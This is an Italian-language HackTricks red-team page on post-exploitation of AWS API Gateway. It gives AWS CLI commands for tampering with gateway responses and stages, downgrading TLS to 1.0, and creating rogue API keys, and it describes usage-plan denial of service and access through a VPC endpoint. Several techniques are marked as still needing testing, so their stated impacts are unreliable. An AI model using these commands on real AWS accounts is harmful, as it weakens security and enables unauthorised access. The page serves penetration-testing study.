AWS - API Gateway Post Exploitation

Impara l'hacking di AWS da zero a eroe con htARTE (Esperto Red Team di HackTricks AWS)!

Altri modi per supportare HackTricks:

API Gateway

Per ulteriori informazioni controlla:

pageAWS - API Gateway Enum

Accesso alle API non esposte

Puoi creare un endpoint in https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint con il servizio com.amazonaws.us-east-1.execute-api, esporre l'endpoint in una rete a cui hai accesso (potenzialmente tramite una macchina EC2) e assegnare un gruppo di sicurezza che permetta tutte le connessioni. Successivamente, dalla macchina EC2 sarai in grado di accedere all'endpoint e quindi chiamare l'API del gateway che non era stata esposta in precedenza.

Piani di Utilizzo DoS

Nella sezione Enumerazione puoi vedere come ottenere il piano di utilizzo delle chiavi. Se hai la chiave ed è limitata a X utilizzi al mese, potresti usarla e causare un DoS.

La Chiave API deve essere inclusa all'interno di un header HTTP chiamato x-api-key.

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

Un attaccante con i permessi apigateway:UpdateGatewayResponse e apigateway:CreateDeployment può modificare una risposta del Gateway esistente per includere intestazioni personalizzate o modelli di risposta che rivelano informazioni sensibili o eseguono script dannosi.

API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impatto Potenziale: Divulgazione di informazioni sensibili, esecuzione di script dannosi o accesso non autorizzato alle risorse dell'API.

Necessità di test

apigateway:UpdateStage, apigateway:CreateDeployment

Un attaccante con i permessi apigateway:UpdateStage e apigateway:CreateDeployment può modificare una fase esistente dell'API Gateway per reindirizzare il traffico verso una fase diversa o modificare le impostazioni di caching per ottenere accesso non autorizzato ai dati memorizzati nella cache.

API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impatto Potenziale: Accesso non autorizzato ai dati memorizzati nella cache, interruzione o intercettazione del traffico API.

Necessità di test

apigateway:PutMethodResponse, apigateway:CreateDeployment

Un attaccante con i permessi apigateway:PutMethodResponse e apigateway:CreateDeployment può modificare la risposta del metodo di un metodo API Gateway REST esistente per includere intestazioni personalizzate o modelli di risposta che rivelano informazioni sensibili o eseguono script dannosi.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impatto Potenziale: Divulgazione di informazioni sensibili, esecuzione di script dannosi o accesso non autorizzato alle risorse dell'API.

Necessità di testare

apigateway:UpdateRestApi, apigateway:CreateDeployment

Un attaccante con i permessi apigateway:UpdateRestApi e apigateway:CreateDeployment può modificare le impostazioni dell'API Gateway REST API per disabilitare il logging o cambiare la versione minima di TLS, indebolendo potenzialmente la sicurezza dell'API.

API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impatto Potenziale: indebolimento della sicurezza dell'API, potenzialmente consentendo l'accesso non autorizzato o l'esposizione di informazioni sensibili.

Necessità di testare

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

Un attaccante con le autorizzazioni apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan e apigateway:CreateUsagePlanKey può creare nuove chiavi API, associarle a piani di utilizzo e poi utilizzare queste chiavi per accedere in modo non autorizzato alle API.

# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

Impatto Potenziale: Accesso non autorizzato alle risorse dell'API, bypassando i controlli di sicurezza.

Necessita di test

Impara l'hacking su AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated